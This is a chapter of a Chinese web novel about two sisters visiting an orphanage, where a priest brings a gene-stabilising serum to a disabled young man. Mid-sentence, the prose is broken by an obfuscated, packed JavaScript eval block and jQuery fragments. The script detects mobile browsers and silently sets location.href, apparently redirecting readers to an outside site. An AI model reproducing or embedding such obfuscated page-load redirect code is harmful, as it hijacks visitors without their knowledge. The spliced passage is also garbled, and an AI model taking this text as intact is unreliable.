10. 孩子们
作品:《欺诈赛博神明守则》 下午三点过半,雨暂歇了。
两人从超市回来,李旧将新买的印着“古典甜心”的布丁放入冰箱,随后仔细熨烫着那件洗得发白的米色仿棉衬衫。
下午,两人得去玩偶之家赴约。
李辛换了件藏蓝色卫衣,扯了扯袖子:“这件,还行吗?”
李旧抬头,目光认真,用力点头:
“嗯,很帅。”
时针指向四点,李旧将所有礼物装入布袋,营养液与天然蔬果汁垫底,编织工具和毛绒小熊玩偶被妥帖地放在上方,她捏了捏小熊软乎乎的肚子,调整着位置。
李辛斜倚门框,看着李旧的背影,肩胛骨在薄衬衫下微微凸起,像两只收拢的翅膀。
她总是这样。
不放过现实,也不放过梦。
李辛上前,默不作声地将布袋的拎口整理好,提了起来。
“走吧。”李旧的声音比平时柔和,像是多了几分释然。
李辛点点头,先一步推开了门。
午后稀薄的阳光勉强穿透云层,照在两人身上,她们的影子依偎在一起,投在尚未干透的地面上。
玩偶之家藏在中层区飞鸟街尽头一条向上的窄巷里,一栋老旧的三层建筑,墙皮发灰,但窗户擦得干净,门口挂着一块手绘的木牌,画着几个手拉手的简笔画小人。
李辛推开铁门,门廊下挂着一串风铃,声音清脆。一个小豆丁忽地冲过来抱住了她的腿。
“辛姐姐!”
是个剃着光头的小女孩,约莫三四岁,仰着脸笑,眼睛圆润水亮。李辛嘴角弯了一下,摸了摸她的头。
“小鱼,”李辛声音放轻,“你的熊。”
李旧从布袋里掏出那个穿着机械恐龙服的小熊布偶。小鱼“哇”地一声接过去,紧紧搂在怀里,脸蛋蹭着绒毛,开心得原地转圈。
莎拉院长闻声从里间走出来,脸上带着笑意。
“李旧,李辛,你们来了。”
她接过李旧递去的布袋,看到里面的东西时眼神软了一下,“总是让你们破费,伊瓦尔在楼上,他知道你们来,一早就坐不住了。”
她们跟着院长穿过略显拥挤但收拾得井井有条的客厅。
几个年纪不一的孩子在做着自己的事,有的在拼图,有的在看书,看到她们都小声地打招呼。空气里有淡淡的优昙花香和食物温暖的气息。
二楼的活动室更宽敞些,光线也好。窗边立一个型号老旧的大肚型机器人,坐在轮椅上的瘦高青年听到脚步声立刻转过头来。
他看起来比实际年龄21岁要沉稳许多,浓密卷曲的半长发披散,鼻梁上架着一副金框眼镜,腿上盖着一条薄毯,膝上放着一本翻旧的书。
《与神同行时》
伊瓦尔,罹患二级基因崩溃征,因没得到及时治疗,永久失去了双腿。
“伊瓦尔。”李辛走到他面前。
“李辛。”伊瓦尔笑起来,蓝色的眼睛里忧郁散开来,又点头向李旧打招呼。
“姐姐好。”
“嘀——辛宝好,是托比哦。”机械正太音,听起来很傻气。
“托比好,好久不见。”
李辛招手打招呼。
托比是伊瓦尔的保姆机器人,已经陪伴他很长时间了。
“新宝乖,吃糖——”小机器人显示出一个眯着眼的笑,胸腔打开,推出一个盒子,机械手伸进去夹出了一颗糖,镭射包装,闪烁着五颜六色的光芒。
李辛接过糖,“谢谢托比。”
伊瓦尔的目光落在李辛手上那套编织工具上,“这是……”
“给你的。”
李辛将工具递过去,“你应该用得上。”
伊瓦尔接过,手指抚过光滑的木质棒针和柔软的线团。
“谢谢……我很喜欢。”
他抬头看向李辛,声音含笑,“正好,快到冬天了,还可以给你织顶帽子。”
“宝宝可会织帽子啦——”托比在一旁插话。
李辛没说话,只是点了点头,极其自然地伸手,帮伊瓦尔把滑落的毯子角往上拉了拉。
李旧站在稍远一点的地方,看着这一幕。她的目光扫过活动室,墙上贴着孩子们的画,色彩斑斓,有些笔触稚嫩,有些已显露出天赋。
其中一幅画吸引了她的注意:深紫色的背景上,一轮惨白的明月高悬,浓烈的金色和红色画出一片燃烧的玫瑰,花中央,有一个抱着膝盖的小小身影,画风带着浓烈的悲伤和绝望。
画角用铅笔写着两个小小方方的符号。
这时,一阵引擎声在门外熄灭,孩子们听见车声,一股脑儿的往下跑。
李旧跟在莎拉院长后面下楼,李辛推着伊瓦尔慢慢的走。
一道身着教廷白袍的修长身影迈入屋内,他手中提着一只印有圣序教廷徽记的箱子。
“神官大人。”
莎拉院长立刻迎上前。
“——父亲!”小鱼拉着小熊,紧紧抱住来人的腿。神官蹲下身,白袍下摆拂过地面,温和地摸了摸小鱼的光头:
“小鱼,今天有没有好好吃饭?”他的声音低沉柔和,带着暖意。
更多的孩子闻声涌来,围在他身边,喊着父亲。他一一回应,叫得出每个孩子的名字,甚至记得他们的小喜好。
莎拉院长站在一旁,脸上带着由衷的笑意。
是圣菲利克斯教堂的神官大人,也是孩子们口中的父亲。
他安抚好孩子们,看向李旧李辛两人。
“神官大人。”
“父亲。”
“辛长这么高了啊。”他眼神温和,又看向李旧。
“欢迎回来,莉莉安娜。”
随即他走向伊瓦尔,目光温暖而欣慰:“伊瓦尔,二十一岁了。”
他打开密封箱,取出一支泛着幽蓝微光的药剂,“这是教廷的赠礼,基石药剂,愿它护佑你前行。”
神明赐福,教廷会对每个年满21岁,发育完全的公民送上基因稳定药剂,凭借身份ID可以去城市主教堂领取。李旧因为伪造身份,错过了时间,一直没能领取到。
伊瓦尔双手接过药剂,俯身行礼,“谢谢您,父亲,我不会辜负神明的眷顾。”
“你一直很勇敢。”
神官轻轻拥抱了一下伊瓦尔。
放开后,他转向莎拉院长,问道:“那个孩子呢,还不肯下楼吗?”
“唉,只是一个人呆在房间里画画写写,不会说话也不会写字。”莎拉院长轻轻叹气,“神会庇佑她的。”
神官点点头,表示了解,带着歉意,道:“教堂近期事务繁多,不便久留,只能多麻烦您了。”
“您辛苦了。”莎拉院长关切地说。
他目光扫过屋内,最终落在李旧和李辛身上,颔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699499|189126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
首微笑后,没有多言。在孩子们依依不舍的“父亲再见”声中,转身离去。
“神官大人是孩子们的光。没有他,这里撑不到今天。”
莎拉院长注视着神官离去的背影,轻轻感叹,随后转身去准备晚饭。
温暖的灯光下,十几个孩子围坐在长桌旁,碗里盛着热气腾腾的炖菜。三岁的小鱼腮帮子鼓鼓的,晃着腿把胡萝卜粒拨到一边;伊瓦尔正帮旁边的孩子把面包掰成小块,自己碗里的土豆却悄悄被邻座的孩子多放了两块。
李辛起初只小口喝着汤,后来也在周围的笑闹声中,伸手接过了递来的半根香肠。勺子碰着碗沿,发出叮叮当当的轻响,混着叽叽喳喳的说话声,整个房间像一锅咕嘟咕嘟煮开的甜粥。
饭后,莎拉院长端来了温热的茶和点心。
李旧和李辛坐下来,和伊瓦尔聊着天。大多是伊瓦尔和李辛在说,李旧安静地听着,偶尔抿一口茶。
小鱼抱着小熊布偶,挤在李辛旁边的椅子上,晃着腿。
窗外,云层散开了一些,夕阳的金辉斜斜地洒进来,给房间镀上一层暖意。孩子们的声音、茶水的热气、还有窗外隐约传来的城市噪音,混合成一种奇异的、让人心安的背景音。
李旧看着李辛。在这里,李辛身上那种时刻紧绷的防御感似乎松懈了一些,虽然话还是不多,但她的肩膀是放松的,看着伊瓦尔和小鱼时,眼神里有种平时罕见的柔和。
“快七点了,时间不早了。”李旧放下茶杯,站起身,“我们该走了。”
伊瓦尔点点头,眼中不舍。
“路上小心。”
“辛宝再见!”托比笑眯眯地挥舞机械手。
小鱼跑过来,又抱住了李辛的腿。
李辛再次摸了摸她的光头。
走到门口,莎拉院长送她们出来。
“谢谢你们的礼物,特别是给伊瓦尔的,他很喜欢编织,这能让他打发些时间。”
李旧笑着点头,在转身离开前,她状似无意地问了一句:“院长,墙上那幅紫色的画,是新来的孩子画的吗?”
莎拉院长看向二楼,轻轻叹了口气:“是啊,那孩子,心里装着很多事,讲不出来,就全都画在画里了。”
李旧顺着她的目光看去,看到一个靠窗坐着的黑发少女,戴着耳机,低头在本子上飞快地画着什么。
“有什么我们能帮忙的,请尽管告知。”
李旧没再追问,俯身告别。
“再见,莎拉院长,愿神明庇佑玩偶之家。”
走出窄巷,重回飞鸟街的主干道。夜晚降临,双月藏在高楼中,霓虹灯开始逐一亮起,世界的喧嚣再次将她们包围。
李辛沉默地走在旁边,双手插在卫衣口袋里。李旧侧目看去,发现妹妹的侧脸在霓虹灯的光影下,似乎比来时柔和了那么一些。
也许,这就是为什么她们总会回到这里。不仅仅是为了给予,也是为了在这片泥泞的现实里,偶尔能触碰到一点点像梦一样干净的东西。
就像那只小熊布偶一样,明知无用,却依然需要紧紧攥在手里的,一点柔软的慰藉。
哪怕只是很短的一会儿。
……
入夜,雨又淅淅沥沥地下了起来。
李辛的房间安静了下来。
李旧披着雨衣,悄然隐没在雨幕中。
好戏要开场了。

